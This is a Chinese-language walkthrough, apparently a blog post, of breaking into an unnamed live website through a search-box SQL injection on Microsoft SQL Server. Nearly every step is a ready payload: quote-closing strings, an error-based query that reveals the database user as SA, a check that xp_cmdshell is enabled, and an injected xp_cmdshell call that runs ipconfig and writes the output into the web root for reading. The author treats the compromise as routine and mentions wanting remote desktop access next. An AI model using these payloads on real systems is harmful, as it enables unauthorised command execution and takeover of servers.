该网站倒是做了防注入的,一般的页面上不存在注入点,可惜防注入还是不够严密,某个页面的一个搜索框没有检测用户提交上来的数据,直接将用户提交的数据带入到数据库中查询,导致出现了搜索型的注入漏洞。
在搜索框中输入1’,发现页面暴错:
根据暴错页面我们可以得知网站的物理路径和网站用的是MSSQL数据库,并且从url处发现搜索的关键字是以GET形式提交的。
我们知道搜索型的注入点提交的SQL语句,其原型大致为:Select * from 表名 where 字段 like ‘%关键字%’,当提交的关键字为1’时,由于带入数据库查询的SQL语句后的’%没有完全闭合,所以页面当然会出错。
为了防止页面出错把我们将要提交的关键字写成这样:1%’ and 1=1 ‘%’=’
那么提交后带入数据库中查询的语句就变成了:Select * from 表名 where 字段 like ‘%1%’ and 1=1 ‘%’=’%’
或者也可以写成这样:1%’ and 1=1–
那么SQL语句就变为:Select * from 表名 where 字段 like ‘%1%’ and 1=1–%’(注释掉了后面的%’,那么这条语句也成立)
由于这两条SQL语句是真确的,所以会返回正常页面,如图:
接下来我们看看这个网站与数据库连接的用户名,提交的关键字为:1%’ and user>0–
页面暴错了,将用户名转换为整数型的值和0比较大小肯定会出错,所以就把用户名暴出来了,注意在MSSQL显错的情况下暴用户名出现了dbo并不表示用户名是dbo,而其实是SA,是SA了好啊,拥有最高权限,可以直接调用各种储存扩展来攻击。
首先想到了cmdshell,来看看它能不能用,提交语句:1%’ and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ‘X’ AND name = ‘xp_cmdshell’)–
页面返回正确,表明cmdshell储存扩展可用,那么我们可以直接调用此扩展来执行系统命令了,但是提交执行语句后页面上并不会回显命令执行结果,不过没关系,前面不是已经知道网站的物理路径了吗,那么就可以将命令运行结果输入到网站根目录下的一个txt文件里,然后用浏览器访问,就可以看到执行结果了。
先查一下服务器的ip,提交语句:1%’;exec master..xp_cmdshell ‘ipconfig >f:\tzwwwroot\1.txt’–
页面返回正常,接先来访问这个1.txt文件查看命令执行结果,如图:
这服务器还不是外网ip,如果想用远程桌面连接上去的话还要做端口映射,很麻烦,这里就不再演示了。